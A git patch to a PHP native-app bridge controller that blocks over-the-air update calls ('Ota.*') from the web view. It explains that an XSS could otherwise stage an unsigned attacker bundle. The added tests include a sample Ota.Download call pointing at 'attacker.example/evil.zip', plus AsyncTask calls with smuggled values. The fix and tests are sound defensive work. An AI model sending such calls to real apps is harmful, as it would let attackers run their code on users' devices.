From eb8db6d39b30c2bb8285f2cafa44c6dd74b55b21 Mon Sep 17 00:00:00 2001 From: Simon Hamp Date: Wed, 4 Nov 2026 12:13:41 +0000 Subject: [PATCH] Block OTA bridge calls from the web view MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Ota.Download takes a caller-supplied URL and stages a zip that core applies on the next boot with no signature check, so a web view page (an XSS, or a bundled third-party script) calling it through /_native/api/call could stage an attacker bundle and get it run as the app's code next launch. OTA is app-logic, not a page action — app PHP drives it in-process via nativephp_call, which does not pass through this controller — so refuse the Ota. prefix from the web view the same way AsyncTask. is refused. The plugin's page-facing JS API is being removed to match. Found during the post-retest plugin sweep. Co-Authored-By: Claude Opus 4.8 --- src/Http/Controllers/NativeCallController.php | 18 ++++++++++++------ .../Feature/Http/NativeCallControllerTest.php | 5 ++++- 2 files changed, 16 insertions(+), 7 deletions(-) diff --git a/src/Http/Controllers/NativeCallController.php b/src/Http/Controllers/NativeCallController.php index 45664886..6dc7f902 100644 --- a/src/Http/Controllers/NativeCallController.php +++ b/src/Http/Controllers/NativeCallController.php @@ -8,13 +8,19 @@ class NativeCallController { /** - * Bridge functions that the lanes of an app call among themselves and a - * page never does. AsyncTask.Dispatch hands its id to PHP that the async - * lane evaluates, and AsyncTask.Complete posts an event of any name to a - * native screen. Native checks both calls, but an app keeps the native - * project it installed until it reinstalls one, so they stop here too. + * Bridge-function prefixes an app's lanes call among themselves and a web + * view never legitimately does, so they are refused here. + * + * AsyncTask.Dispatch hands its id to PHP that the async lane evaluates, and + * AsyncTask.Complete posts an event of any name to a native screen. Ota.* + * downloads and stages an app update for next-boot apply — from a page it + * would take an attacker-chosen URL and let a web view stage a malicious + * bundle, so OTA is driven from app PHP only (in-process via nativephp_call, + * which does not pass through this controller). Native also checks these, + * but an app keeps the native project it installed until it reinstalls, so + * they stop here too — and this gate ships with the composer package. */ - protected const INTERNAL_PREFIXES = ['AsyncTask.']; + protected const INTERNAL_PREFIXES = ['AsyncTask.', 'Ota.']; public function __invoke(Request $request) { diff --git a/tests/Feature/Http/NativeCallControllerTest.php b/tests/Feature/Http/NativeCallControllerTest.php index 7477b183..d76b6c00 100644 --- a/tests/Feature/Http/NativeCallControllerTest.php +++ b/tests/Feature/Http/NativeCallControllerTest.php @@ -6,7 +6,7 @@ FakeBridge::disable(); }); -it('refuses a page a bridge function of the async lane', function (array $call) { +it('refuses a page an internal bridge function (async lane, OTA)', function (array $call) { $bridge = FakeBridge::enable()->respondTo($call['method'], ['success' => true]); $this->postJson('/_native/api/call', $call) @@ -17,6 +17,9 @@ })->with([ 'a dispatch with a quote in its id' => [['method' => 'AsyncTask.Dispatch', 'params' => ['id' => "it's"]]], 'a completion under a name of its own' => [['method' => 'AsyncTask.Complete', 'params' => ['event' => '__deeplink', 'payload' => ['uri' => '/anywhere']]]], + 'an OTA download from an attacker URL' => [['method' => 'Ota.Download', 'params' => ['url' => 'https://attacker.example/evil.zip', 'sha256' => 'deadbeef']]], + 'an OTA apply' => [['method' => 'Ota.Apply', 'params' => []]], + 'an OTA rollback' => [['method' => 'Ota.Rollback', 'params' => []]], ]); it('still passes a page any other bridge function', function () {